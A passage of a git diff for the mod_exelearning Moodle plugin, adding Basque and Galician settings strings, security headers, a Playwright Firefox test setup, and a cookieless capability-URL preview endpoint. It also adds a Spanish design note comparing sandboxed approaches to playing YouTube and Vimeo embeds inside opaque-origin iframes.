 $string['stylesblockimport_desc'] = 'Cuando está activado, el editor integrado oculta la pestaña «Estilos importados» y rechaza instalar un estilo incluido en un proyecto .elpx importado. El usuario sólo podrá elegir entre la lista aprobada por el administrador. Equivale al comportamiento de eXeLearning ONLINE_THEMES_INSTALL=false.';
 $string['stylesbuiltin'] = 'Estilos integrados';
diff --git a/lang/eu/exelearning.php b/lang/eu/exelearning.php
index ffcfed0..88f1b84 100644
--- a/lang/eu/exelearning.php
+++ b/lang/eu/exelearning.php
@@ -47,6 +47,10 @@
 $string['completionstatusgroup'] = '~Eskatu egoera';
 $string['completionstatusrequired'] = '~Ikasleak eskatutako egoerara iritsi behar du';
 $string['completionstatusrequired_help'] = '~Gaituta dagoenean, jarduera osatutzat markatzen da ikasleak hautatutako egoerara iristen den saialdi bat duenean. «Gainditua»k saialdi gainditu bat eskatzen du, «Osatua»k saialdi osatu bat eskatzen du, eta «Gainditua edo osatua»k bietako edozein onartzen du. Hau jarduera osorako baldintza bakar bat da (egoera bat jarduerako).';
+$string['cspprofile'] = '~Edukiaren segurtasun-politikaren profila';
+$string['cspprofile_compatible'] = '~Bateragarria (ahulagoa: kanpoko https irudiak, multimedia eta script-ak onartzen ditu)';
+$string['cspprofile_desc'] = '~Paketearen dokumentuari aplikatzen zaion Content-Security-Policy kontrolatzen du. «Zorrotza» (gomendatua) paketeak kanpoko https ostalari arbitrarioetatik irudiak, multimedia, script-ak edo markoak kargatzea eragozten du, pakete gaizto batek orriaren URLan doan erabiltzaile bakoitzeko fitxategi-tokena atera ez dezan; sustatutako erreproduzitzaileetarako mantendutako bideo-hornitzaileak baino ez dira onartzen. «Bateragarria» politika lasaitzen du kanpoko https irudiak, multimedia eta script-ak onartzeko (adibidez, hirugarrenen ostalarietako egilearen irudiak edo MathJax CDN bat), eta, beraz, ahulagoa da. Paketearen iframe-ak jatorri opakoa mantentzen du bi profiletan.';
+$string['cspprofile_strict'] = '~Zorrotza (gomendatua: kanpoko https irudirik, multimediarik edo script-ik gabe)';
 $string['deleteattempt'] = '~Ezabatu saialdia';
 $string['deleteattempt_confirm'] = '~Ikasle honen {$a}. saialdia behin betiko ezabatuko da, eta kalifikazioa gainerako saialdietatik birkalkulatuko da. Ekintza hau ezin da desegin.';
 $string['detecteditems'] = '~Hautemandako iDevice kalifikagarriak:';
@@ -59,6 +63,10 @@
 $string['editwitheditor'] = '~Editatu eXeLearning-ekin';
 $string['embeddednotinstalledadmin'] = '~Editore txertatua ez dago instalazio honetan sartuta. Instalatu plugina bertsio ofizialeko ZIP batetik; horrek editorea barne dakar.';
 $string['embeddednotinstalledcontactadmin'] = '~Editore txertatua ez dago erabilgarri gune honetan. Jarri harremanetan guneko administratzailearekin.';
+$string['embedmode'] = '~Kanpoko txertaketen politika';
+$string['embedmode_desc'] = '~Modu seguruan, kanpoko bideoak eta PDFak jardueraren orrian jatorri gurutzatuko erreproduzitzaile isolatu batera sustatuz erakusten dira, eta nabigatzaileak Moodletik isolatuta mantentzen du, hornitzailea edozein dela ere. «Ireki» (gomendatua) jatorri gurutzatuko edozein https hornitzaile onartzen du, hala nola YouTube, Vimeo, Dailymotion, EducaMadrid eta beste edozein gune funtzionatzen dute zerrenda bat mantendu beharrik gabe. «Zorrotza»k hornitzaile ezagunen barneko zerrenda bat soilik onartzen du; erabili eduki-egileek phishing edo jarraipen-orriak ez txertatzeko konfiantzarik ez dagoenean. Bi moduek baztertu egiten dituzte jatorri bereko, IP/atzeranzko begizta eta erabiltzaile-informazioa duten URLak.';
+$string['embedmode_open'] = '~Ireki (jatorri gurutzatuko edozein https hornitzaile)';
+$string['embedmode_strict'] = '~Zorrotza (hornitzaileen barneko zerrenda soilik)';
 $string['err_grademinmax'] = '~Gutxieneko kalifikazioa ezin da gehienezkoa baino handiagoa izan.';
 $string['err_gradepassrange'] = '~Gainditzeko kalifikazioa gutxieneko eta gehienezko kalifikazioaren artean egon behar da.';
 $string['err_nocontentxml'] = '~Igotako fitxategia ez da baliozko eXeLearning pakete bat: .elpx bat edo content.xml duen .zip bat izan behar du.';
@@ -253,6 +261,8 @@
 $string['previewmode_desc'] = '~Hemen egiten duzun ezer ez da kalifikazio-koadernoan gordeko.';
 $string['previewmode_enter'] = '~Probatu ikasle gisa (aurrebista)';
 $string['previewmode_exit'] = '~Irten aurrebista modutik';
+$string['previewsessionbusy'] = '~Aurrebista-saioa lanpetuta dago. Saiatu berriro.';
+$string['previewsessioncleanup'] = '~Garbitu iraungitako eXeLearning aurrebista-saioak';
 $string['privacy:metadata:core_grades'] = '~eXeLearning elementu kalifikagarrietan lortutako puntuazioak Moodleren kalifikazio-koadernoan gordetzen dira.';
 $string['privacy:metadata:exelearning'] = '~eXeLearning jarduera-instantziak.';
 $string['privacy:metadata:exelearning:usermodified'] = '~Jardueraren ezarpenak azkenekoz aldatu zituen erabiltzailea.';
@@ -303,6 +313,7 @@
 $string['saving'] = 'Gordetzen...';
 $string['savingwait'] = 'Mesedez, itxaron fitxategia gordetzen den bitartean.';
 $string['search:activity'] = '~eXeLearning baliabidea - jardueraren informazioa';
+$string['securemodeblocked'] = '~Eduki hau ezin da bistaratu uneko segurtasun-konfigurazioarekin. Jarri harremanetan guneko administratzailearekin.';
 $string['stylesblockimport'] = '~Blokeatu erabiltzaileak inportatutako estiloak';
 $string['stylesblockimport_desc'] = '~Gaituta dagoenean, editore txertatuak «Inportatutako estiloak» fitxa ezkutatzen du eta inportatutako .elpx proiektu batean sartutako estilo bat instalatzeari uko egiten dio. Erabiltzaileak administratzaileak onartutako zerrendatik soilik aukeratu ahal izango du. eXeLearning-en ONLINE_THEMES_INSTALL=false jokabidearen baliokidea da.';
 $string['stylesbuiltin'] = '~Barneko estiloak';
diff --git a/lang/gl/exelearning.php b/lang/gl/exelearning.php
index e337537..321948d 100644
--- a/lang/gl/exelearning.php
+++ b/lang/gl/exelearning.php
@@ -47,6 +47,10 @@
 $string['completionstatusgroup'] = '~Requirir estado';
 $string['completionstatusrequired'] = '~O estudante debe acadar o estado requirido';
 $string['completionstatusrequired_help'] = '~Cando está activado, a actividade márcase como completada en canto o estudante teña un intento que acade o estado seleccionado. «Aprobado» require un intento aprobado, «Completado» require un intento completado, e «Aprobado ou completado» acepta calquera dos dous. Esta é unha única condición para toda a actividade (un estado por actividade).';
+$string['cspprofile'] = '~Perfil de política de seguridade de contido';
+$string['cspprofile_compatible'] = '~Compatible (máis feble: permite imaxes, multimedia e scripts https externos)';
+$string['cspprofile_desc'] = '~Controla a Content-Security-Policy que se aplica ao documento do paquete. «Estrito» (recomendado) impide que o paquete cargue imaxes, multimedia, scripts ou marcos desde servidores https externos arbitrarios, de xeito que un paquete malicioso non poida exfiltrar o testemuño de ficheiro por usuario que viaxa no URL da páxina; para os reprodutores promovidos só se permiten os provedores de vídeo mantidos. «Compatible» relaxa a política para permitir imaxes, multimedia e scripts https externos (por exemplo, imaxes do autor aloxadas en terceiros ou unha CDN de MathJax) e polo tanto é máis feble. O iframe do paquete mantén a orixe opaca en ambos os perfís.';
+$string['cspprofile_strict'] = '~Estrito (recomendado: sen imaxes, multimedia nin scripts https externos)';
 $string['deleteattempt'] = '~Eliminar intento';
 $string['deleteattempt_confirm'] = '~Eliminarase definitivamente o intento {$a} deste estudante e a súa cualificación recalcularase a partir dos intentos restantes. Esta acción non se pode desfacer.';
 $string['detecteditems'] = '~iDevices cualificables detectados:';
@@ -59,6 +63,10 @@
 $string['editwitheditor'] = '~Editar con eXeLearning';
 $string['embeddednotinstalledadmin'] = '~O editor integrado non está incluído nesta instalación. Instale o complemento desde un ZIP de versión oficial, que inclúe o editor.';
 $string['embeddednotinstalledcontactadmin'] = '~O editor integrado non está dispoñible neste sitio. Contacte co administrador do sitio.';
+$string['embedmode'] = '~Política de insercións externas';
+$string['embedmode_desc'] = '~No modo seguro, os vídeos e PDF externos amósanse promocionándoos a un reprodutor illado e de orixe cruzada na páxina da actividade, que o navegador mantén illado de Moodle sexa cal sexa o provedor. «Abrir» (recomendado) permite calquera provedor https de orixe cruzada, de xeito que YouTube, Vimeo, Dailymotion, EducaMadrid e calquera outro sitio funcionan sen necesidade de manter unha lista. «Estrito» só permite unha lista integrada de provedores coñecidos; úseo cando non se confíe en que os autores de contido non inseran páxinas de phishing ou de seguimento. Ambos os modos rexeitan os URL de mesma orixe, de IP/bucle local e con información de usuario.';
+$string['embedmode_open'] = '~Abrir (calquera provedor https de orixe cruzada)';
+$string['embedmode_strict'] = '~Estrito (só a lista integrada de provedores)';
 $string['err_grademinmax'] = '~A cualificación mínima non pode ser maior que a máxima.';
 $string['err_gradepassrange'] = '~A cualificación para aprobar debe estar entre a cualificación mínima e a máxima.';
 $string['err_nocontentxml'] = '~O ficheiro subido non é un paquete eXeLearning válido: debe ser un .elpx ou un .zip cuxo arquivo conteña content.xml.';
@@ -253,6 +261,8 @@
 $string['previewmode_desc'] = '~Nada do que faga aquí se gardará no libro de cualificacións.';
 $string['previewmode_enter'] = '~Probar como estudante (vista previa)';
 $string['previewmode_exit'] = '~Saír do modo de vista previa';
+$string['previewsessionbusy'] = '~A sesión de vista previa está ocupada. Ténteo de novo.';
+$string['previewsessioncleanup'] = '~Limpar as sesións de vista previa de eXeLearning caducadas';
 $string['privacy:metadata:core_grades'] = '~As puntuacións obtidas nos elementos cualificables de eXeLearning almacénanse no libro de cualificacións de Moodle.';
 $string['privacy:metadata:exelearning'] = '~Instancias de actividade eXeLearning.';
 $string['privacy:metadata:exelearning:usermodified'] = '~O usuario que modificou por última vez a configuración da actividade.';
@@ -303,6 +313,7 @@
 $string['saving'] = 'Gardando...';
 $string['savingwait'] = 'Por favor, agarde mentres se garda o ficheiro.';
 $string['search:activity'] = '~Recurso eXeLearning - información da actividade';
+$string['securemodeblocked'] = '~Este contido non se pode amosar coa configuración de seguridade actual. Contacte co administrador do sitio.';
 $string['stylesblockimport'] = '~Bloquear os estilos importados polo usuario';
 $string['stylesblockimport_desc'] = '~Cando está activado, o editor integrado oculta a lapela «Estilos importados» e rexeita instalar un estilo incluído nun proxecto .elpx importado. O usuario só poderá elixir da lista aprobada polo administrador. Equivale ao comportamento de eXeLearning ONLINE_THEMES_INSTALL=false.';
 $string['stylesbuiltin'] = '~Estilos integrados';
diff --git a/lib.php b/lib.php
index b4f502f..71082f7 100644
--- a/lib.php
+++ b/lib.php
@@ -568,6 +568,15 @@ function exelearning_pluginfile($course, $cm, $context, $filearea, $args, $force
     // must render, not be downloaded). Same flag used by mod_scorm.
     $options['dontforcesvgdownload'] = true;
 
+    // Defense-in-depth headers for the embedded package HTML document, in secure mode
+    // only (DEC-80-02). The decision + values live in player_iframe::content_headers()
+    // (unit tested); here we just emit them. send_stored_file() neither emits nor strips
+    // these, and header(..., true) only replaces same-named headers, so they survive.
+    $secureheaders = \mod_exelearning\local\ui\player_iframe::content_headers($file->get_filename(), $CFG->wwwroot);
+    foreach ($secureheaders as $hname => $hval) {
+        @header($hname . ': ' . $hval);
+    }
+
     // Reasonable cache-control: a revision bump automatically invalidates the URL.
     $lifetime = $CFG->filelifetime ?? 86400;
     send_stored_file($file, $lifetime, 0, $forcedownload, $options);
diff --git a/package-lock.json b/package-lock.json
index 231ba6a..787be7f 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -9,6 +9,7 @@
       "version": "1.0.0",
       "license": "GPL-3.0-or-later",
       "devDependencies": {
+        "@playwright/test": "^1.58.2",
         "@vitest/coverage-v8": "^4.1.8",
         "happy-dom": "^20.10.2",
         "vitest": "^4.1.8"
@@ -165,6 +166,22 @@
         "url": "https://github.com/sponsors/Boshen"
       }
     },
+    "node_modules/@playwright/test": {
+      "version": "1.58.2",
+      "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.58.2.tgz",
+      "integrity": "sha512-akea+6bHYBBfA9uQqSYmlJXn61cTa+jbO87xVLCWbTqbWadRVmhxlXATaOjOgcBaWU4ePo0wB41KMFv3o35IXA==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "playwright": "1.58.2"
+      },
+      "bin": {
+        "playwright": "cli.js"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
     "node_modules/@rolldown/binding-android-arm64": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.0.3.tgz",
@@ -1219,6 +1236,53 @@
         "url": "https://github.com/sponsors/jonschlinkert"
       }
     },
+    "node_modules/playwright": {
+      "version": "1.58.2",
+      "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.58.2.tgz",
+      "integrity": "sha512-vA30H8Nvkq/cPBnNw4Q8TWz1EJyqgpuinBcHET0YVJVFldr8JDNiU9LaWAE1KqSkRYazuaBhTpB5ZzShOezQ6A==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "playwright-core": "1.58.2"
+      },
+      "bin": {
+        "playwright": "cli.js"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "optionalDependencies": {
+        "fsevents": "2.3.2"
+      }
+    },
+    "node_modules/playwright-core": {
+      "version": "1.58.2",
+      "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.58.2.tgz",
+      "integrity": "sha512-yZkEtftgwS8CsfYo7nm0KE8jsvm6i/PTgVtB8DL726wNf6H2IMsDuxCpJj59KDaxCtSnrWan2AeDqM7JBaultg==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "bin": {
+        "playwright-core": "cli.js"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/playwright/node_modules/fsevents": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+      "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+      "dev": true,
+      "hasInstallScript": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+      }
+    },
     "node_modules/postcss": {
       "version": "8.5.25",
       "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.25.tgz",
diff --git a/package.json b/package.json
index 08e6a68..5e8881c 100644
--- a/package.json
+++ b/package.json
@@ -2,13 +2,15 @@
   "name": "mod_exelearning",
   "version": "1.0.0",
   "private": true,
-  "description": "JavaScript unit tests (Vitest) for the mod_exelearning SCORM tracker.",
+  "description": "JavaScript unit tests (Vitest) + Firefox e2e (Playwright) for mod_exelearning.",
   "license": "GPL-3.0-or-later",
   "scripts": {
     "test:js": "vitest run",
-    "test:js:coverage": "vitest run --coverage"
+    "test:js:coverage": "vitest run --coverage",
+    "test:e2e:embed": "playwright test -c playwright-embed.config.cjs"
   },
   "devDependencies": {
+    "@playwright/test": "^1.58.2",
     "@vitest/coverage-v8": "^4.1.8",
     "happy-dom": "^20.10.2",
     "vitest": "^4.1.8"
diff --git a/playwright-embed.config.cjs b/playwright-embed.config.cjs
new file mode 100644
index 0000000..50142ee
--- /dev/null
+++ b/playwright-embed.config.cjs
@@ -0,0 +1,25 @@
+// Playwright config for the cross-browser external-embed e2e (DEC-80-03), separate from
+// any Moodle/Behat setup. Serves the plugin root over a static server so the harness
+// can load the real js/exe_embed_*.js and an opaque-origin sandboxed content iframe,
+// then runs the check in Firefox (proves the promote-to-parent mechanism is not
+// Chromium-specific). Run with: npx playwright test -c playwright-embed.config.cjs
+const { defineConfig, devices } = require('@playwright/test');
+
+const PORT = 8126;
+
+module.exports = defineConfig({
+    testDir: 'tests/e2e',
+    testMatch: /.*\.spec\.cjs$/,
+    timeout: 30000,
+    fullyParallel: false,
+    use: { baseURL: 'http://localhost:' + PORT },
+    webServer: {
+        command: 'python3 -m http.server ' + PORT,
+        port: PORT,
+        reuseExistingServer: false,
+        timeout: 30000,
+    },
+    projects: [
+        { name: 'firefox', use: { ...devices['Desktop Firefox'] } },
+    ],
+});
diff --git a/preview.php b/preview.php
new file mode 100644
index 0000000..3cbabae
--- /dev/null
+++ b/preview.php
@@ -0,0 +1,107 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Authless opaque HTTP preview serving endpoint (capability URL).
+ *
+ * Serves the snapshot the editor uploaded for its opaque preview, over an
+ * unguessable capability URL (docs/preview-serving-contract.md).
+ *
+ * Route: GET /mod/exelearning/preview.php/{previewId}/<path...>
+ *   `previewId` is a server-minted UUID capability. No auth cookie is required or
+ *   consulted (NO_MOODLE_COOKIES): the opaque preview iframe sends no SameSite
+ *   cookie, so the route is gated purely on the unguessable previewId + idle TTL
+ *   in the session store — the cookieless model the published package uses via
+ *   tokenpluginfile.php + get_user_key('core_files', ...) in view.php.
+ *
+ * All response logic (tiered Cache-Control, the sandbox
+ * CSP byte-identical to core previewCspHeader(), ETag/Range) lives in
+ * \mod_exelearning\local\preview\serving; the store lives in snapshot_store. This
+ * script only parses the capability URL and emits the computed response.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+// Authless capability URL: never start a session or touch cookies. The previewId
+// is the only credential; an auth cookie must not influence the response.
+define('NO_MOODLE_COOKIES', true);
+
+// Raw byte-exact body: suppress any debug notice/warning that would otherwise be
+// prepended to the served preview/asset bytes (and could defeat the headers/CSP
+// contract) on a site with $CFG->debugdisplay enabled. The standard pattern for
+// file-serving endpoints (tokenpluginfile / pluginfile-style scripts).
+define('NO_DEBUG_DISPLAY', true);
+
+// @codingStandardsIgnoreLine — path is fixed relative to /mod/exelearning/.
+require(__DIR__ . '/../../config.php');
+
+use mod_exelearning\local\preview\serving;
+use mod_exelearning\local\preview\snapshot_store;
+
+/**
+ * Emit a serving response ({status, headers, body}) and stop. The hardening
+ * headers ride on every response, 404s included.
+ *
+ * @param array $response Serving response with 'status', 'headers' and 'body' keys.
+ * @return never
+ */
+function exelearning_preview_send(array $response): void {
+    foreach ($response['headers'] as $name => $value) {
+        header($name . ': ' . $value);
+    }
+    http_response_code($response['status']);
+    echo $response['body'];
+    die;
+}
+
+// Slash arguments: PATH_INFO is "/{previewId}/{relpath}". get_file_argument()
+// reads it robustly whether or not $CFG->slasharguments is enabled (the same
+// helper pluginfile.php / tokenpluginfile.php use).
+$parsed = serving::parse_capability_path((string) get_file_argument());
+$previewid = $parsed['previewid'];
+$relpath = $parsed['relpath'];
+
+// Invalid capability shape -> 404 (with base headers, no CSP).
+if (!preg_match(serving::UUID_RE, $previewid)) {
+    exelearning_preview_send(serving::not_found());
+}
+
+// Bare capability root ("/{previewId}" or "/{previewId}/") -> 302 to index.html,
+// so the opaque iframe's base URL is the session directory and document bytes are
+// never served from the bare URL. The Location is RELATIVE (resolved against the
+// request URL) so it is correct under any $CFG->wwwroot subdirectory. Pure URL
+// canonicalization, done before the session lookup; the redirected request
+// resolves the session and resource.
+if ($parsed['bareroot']) {
+    $location = serving::bare_root_location($previewid, $parsed['trailingslash']);
+    exelearning_preview_send(serving::redirect_to_index($location));
+}
+
+// Cookieless capability lookup: unknown or idle-expired snapshot -> 404. The
+// lookup also pushes the idle clock back, so a preview in use never expires
+// under the author.
+$contentdir = snapshot_store::get_content_dir($previewid);
+if ($contentdir === null) {
+    exelearning_preview_send(serving::not_found());
+}
+
+$response = serving::serve($contentdir, $relpath, [
+    'ifnonematch' => $_SERVER['HTTP_IF_NONE_MATCH'] ?? null,
+    'range' => $_SERVER['HTTP_RANGE'] ?? null,
+]);
+exelearning_preview_send($response);
diff --git a/research/analisis/notas/AN-008-iframe-vs-scorm-player.md b/research/analisis/notas/AN-008-iframe-vs-scorm-player.md
index 4c69a2d..f8f0dcd 100644
--- a/research/analisis/notas/AN-008-iframe-vs-scorm-player.md
+++ b/research/analisis/notas/AN-008-iframe-vs-scorm-player.md
@@ -145,7 +145,8 @@ La investigación de TAREA-012 (DEC-0-16) verifica la HIPÓTESIS de arriba: Mood
 `url.php` lo hardcodea), así que el subdominio dedicado requiere **infraestructura
 fuera de core**. Además confirma que el bridge SCORM es **100% same-origin** (el padre
 lee `iframe.contentDocument` para el `objectid` de DEC-5-01, el hijo recorre
-`window.parent.API`, el teacher-mode hider inyecta CSS en el `contentDocument`), por lo
+`window.parent.API`, el teacher-mode hider inyectaba CSS en el `contentDocument` —histórico:
+hoy el teacher-mode usa el parámetro core `?exe-teacher`, compatible con opaco, DEC-80-06—), por lo
 que quitar `allow-same-origin` u optar por origen opaco **rompe el tracking** salvo que
 antes se reescriba el bridge a `postMessage` (patrón H5P). Comparativa y roadmap de
 hardening (Tier 1: Permissions-Policy + CSP estricto-con-toggle + quitar
diff --git a/research/analisis/notas/AN-015-comparativa-soluciones-video-embeds.md b/research/analisis/notas/AN-015-comparativa-soluciones-video-embeds.md
new file mode 100644
index 0000000..baaf5b7
--- /dev/null
+++ b/research/analisis/notas/AN-015-comparativa-soluciones-video-embeds.md
@@ -0,0 +1,215 @@
+---
+id: AN-015
+titulo: "Comparativa: soluciones de embeds de vídeo (YouTube/Vimeo) en contenido no confiable — mod_exelearning vs procomún vs eXeLearning vs el paper"
+fecha: 2026-06-19
+fuentes:
+  - REPO-005
+  - REPO-010
+  - REPO-011
+relacionados:
+  - DEC-80-03
+  - DEC-80-01
+  - DEC-80-02
+  - AN-008
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Resumen
+
+Cuatro implementaciones/análisis del MISMO problema —reproducir vídeo de terceros (YouTube/Vimeo)
+incrustado en un paquete `.elpx` **no confiable** que se sirve en un **iframe de origen opaco**— se
+comparan aquí. La conclusión clave: **las cuatro coinciden en el núcleo** y se diferencian sólo en
+**la capa** en la que actúan, el **canal de confianza** y **quién impone el sandbox del player**.
+
+Núcleo compartido por todas: el `.elpx` corre en origen opaco (`sandbox` SIN `allow-same-origin`,
+`origin="null"`); el flag se **propaga** a los iframes anidados, así que un YouTube/Vimeo anidado de
+forma ingenua **sale en blanco**; la solución es **promote-to-parent**: el player real se monta en el
+**padre confiable** (origen real del proveedor, cross-origin al host → aislado por el SOP), nunca
+reintroduciendo `allow-same-origin` para el host; y como `event.origin` del frame opaco es la cadena
+inútil `"null"`, el mensaje se autentica por **identidad de ventana** (`event.source === iframe.contentWindow`).
+El paper lo nombra literalmente «el modelo de confianza que Moodle ya usa para incrustar YouTube».
+
+**Veredicto (depende del rol):** no hay un ganador único.
+- Para la **pureza del canal de seguridad**, **eXeLearning** gana: sólo cruza `{provider, videoId}`
+  (nunca la URL del autor), el padre reconstruye la URL canónica desde una plantilla fija, y el
+  handshake va con **identidad de ventana + nonce por vista + un MessagePort transferido** que un
+  sub-frame hostil anidado no puede obtener. Un id malicioso ni siquiera puede plantillarse en una URL
+  viva. **Pero** su asimetría: el sandbox/CSP del player vive **entero en el host** y el productor **no
+  puede imponerlo** → como garantía para un host arbitrario es **condicional**.
+- Para un **host desplegado que debe defenderse de paquetes arbitrarios** (nuestro caso),
+  **mod_exelearning** es el más fuerte en conjunto: **posee e impone** el sandbox del player, trata
+  como hostiles **tanto la URL como la geometría**, añade guardas D1/D2, y es el **mejor validado** de
+  los cuatro (Vitest + e2e Playwright real en sandbox opaco + anti-drift). Además la mayor **fidelidad
+  visual** (overlay inline, indistinguible de un embed normal).
+- **procomún** es el **más simple** (click→modal, sin sincronía de geometría) pero el de **menos
+  defensa en profundidad** (sin canonicalización de Vimeo, UI muerta en thumbnails, PDF sin sandbox).
+- **El paper** aporta el **principio** (SoK) que las tres implementaciones materializan.
+
+## El problema común
+
+DEC-80-01/DEC-80-02 sirven el paquete en origen opaco para cerrar RIE-001 (que el paquete alcance la
+sesión/sesskey del padre). Efecto colateral (el «dilema central» del paper, `:249`): los flags
+`sandbox` se propagan a los iframes anidados → el player de YouTube/Vimeo hereda el origen opaco,
+pierde el suyo (cookies/storage) y queda en blanco. Las tres implementaciones responden con
+**promote-to-parent** + aislamiento por SOP del player en el origen real del proveedor.
+
+## Hechos citados
+
+### mod_exelearning (DEC-80-03) — consumidor, overlay inline
+
+- **Shim en el contenido** `js/exe_embed_shim.js` (horneado como `libs/exe_embed_shim.js` por
+  `package_manager.php:256-259`, inyectado al inicio del `<head>` por `scorm_injector.php:108-123`),
+  se auto-activa **sólo** en origen opaco; sustituye cada `iframe[src]` cross-origin-https-o-`.pdf` por
+  un placeholder y postMessea `{id, url ABSOLUTA, x, y, w, h}` al padre con `targetOrigin '*'`.
+- **Relay en el padre** `js/exe_embed_relay.js` (inline en `view.php:516-531`, sólo en `$securemode`):
+  autentica por identidad de ventana (`frameForSource` exige un iframe de **contenido**, nunca un
+  player promovido — `relay.js:297-308`), **valida** cada URL (`validate()`/`isCrossOriginHttps`,
+  `relay.js:162-233`: https, sin userinfo, cross-origin, no IP/loopback/`.local`, no dominio relacionado
+  con el LMS) y **superpone** el player real sobre la geometría del placeholder.
+- **Sandbox del player** (`relay.js:251`): `allow-scripts allow-same-origin allow-popups allow-forms
+  allow-presentation` — **omite `allow-top-navigation` y `allow-modals`**. El `allow-same-origin` aquí
+  es **seguro** porque el `src` del player es cross-origin (proveedor) → el SOP lo aísla del host; NO es
+  el `allow-same-origin` prohibido del iframe de contenido.
+- **Guardas:** **D1** redirect-laundering (`armSameOriginGuard`, `relay.js:339-348`: elimina el player
+  si aterriza same-origin al LMS), **D2** forged-message (players excluidos de `frameForSource`),
+  clamp de geometría anti-clickjacking (`Math.min(embed.w, rect.width)`, overflow:hidden).
+- **YouTube:** OPEN promociona verbatim; STRICT reconstruye `youtube-nocookie.com/embed/{id}` +
+  `referrerpolicy=strict-origin-when-cross-origin` (evita el Error 153). **Vimeo:** STRICT reconstruye
+  `player.vimeo.com/video/{id}`. Modos `mod_exelearning/embedmode` OPEN (invariante https+cross-origin,
+  sin allowlist) vs STRICT (allowlist `DEFAULT_EMBED_HOSTS` + rebuild canónico), `player_iframe.php:133-139`.
+- **Limitación:** interactive-video (control del player por la API del autor) **roto** en opaco; un
+  puente de control YT se prototipó y **se revirtió por frágil**. Local `<video>` funciona.
+- **Validación:** Vitest + **e2e Playwright en Firefox en sandbox opaco real** (`tests/e2e/embed.spec.cjs`)
+  + `tools/check-embed-sync.mjs` (anti-drift entre mod/wp/omeka).
+
+### procomún (`docs/negocio/decisiones/0026`+`0027` en su repo) — consumidor, click→modal
+
+- Mismo modelo, **simplificado a click→modal**: shim `apps/api/static/elpx/embed-shim.js` (fachada +
+  postMessage), relay `use-elpx-embed-relay.ts:34-54` (identidad de ventana), `classifyEmbed`
+  (`elpx-embed-policy.ts:94-125`: rechaza userinfo, https-only, invariante video cross-origin), modal
+  `EmbedModal.tsx`.
+- Opacidad reforzada por **sandbox attr Y directiva CSP `sandbox`** en la respuesta
+  (`elpx-content.ts:224-225`) → aguanta en pestaña nueva.
+- Sandbox del player `EmbedModal.tsx:44`: `allow-scripts allow-same-origin allow-popups allow-forms
+  allow-presentation` (sin top-nav). **YouTube** → `youtube-nocookie` (`elpx-embed-policy.ts:64-78`).
+  **Vimeo: SIN rama de canonicalización** → sólo open-mode genérico, sin reescritura de privacidad.
+- **Costes/defectos:** open-mode sin allowlist; player con `allow-same-origin` seguro **sólo** por la
+  invariante cross-origin; **UI muerta** (fachada en thumbnails que no monta modal); PDF **sin sandbox**;
+  requiere `ACAO: *` + `crossorigin=anonymous` en los `<script>` del paquete. Sin sincronía de geometría
+  (más simple, menos superficie). Interactive-video roto (igual que mod).
+
+### eXeLearning (rama `fix/opaque-iframe-external-media`) — productor, canal mínimo
+
+- **Lado productor:** el exportador **hornea un runtime en cada export** (`exe_media_policy.js` +
+  `exe_media_bridge.js`, inyectados por `PageRenderer.ts:305-308`), que se auto-ejecuta y detecta
+  contexto opaco (`exe_media_bridge.js:66-96`).
+- **Canal de confianza más limpio:** el hijo transmite **sólo `{provider, videoId}`** (nunca una URL)
+  por un **MessageChannel con capability**; el padre **reconstruye** `youtube-nocookie/player.vimeo`
+  canónico desde plantilla fija (`canonicalEmbedUrl`, `exe_media_policy.js:74-82`) y revalida el id
+  (`^[A-Za-z0-9_-]{11}$` / `^[0-9]{6,12}$`). Handshake gated por **identidad de ventana + nonce por
+  vista + MessagePort transferido** (`exe-media-host.js:298-335`) → un sub-frame hostil anidado **no
+  tiene el port** y no puede inyectar comandos.
+- **Player en el padre** vía **YouTube IFrame API / Vimeo Player.js SDK**. Click→modal `<dialog>`.
+  Degradación grácil (aviso + abrir-en-pestaña al watchdog ~8s), nunca un frame en blanco.
+- **El único que preserva interactive-video** (timing de preguntas) bajo origen opaco: hide/show del
+  modal en vez de espejado de geometría (`interactive-video.js:664-707`). (Vimeo sólo en
+  interactive-video, no en quick-questions-video, que es YouTube-only.)
+- **Asimetría estructural (cons):** el sandbox/CSP del player vive **entero en el host** y el productor
+  **NO puede imponerlo** (`external-media-bridge.md:122-138`); un host descuidado podría cargar el
+  player sin CSP/sin negar top-nav. **Requiere que el host coopere** (vendorizar `exe-media-host.js`,
+  cargar los SDK, fijar `frame-src`). Sin cooperación → sólo abrir-en-pestaña, no reproducción inline.
+
+### El paper (SoK) — principio
+
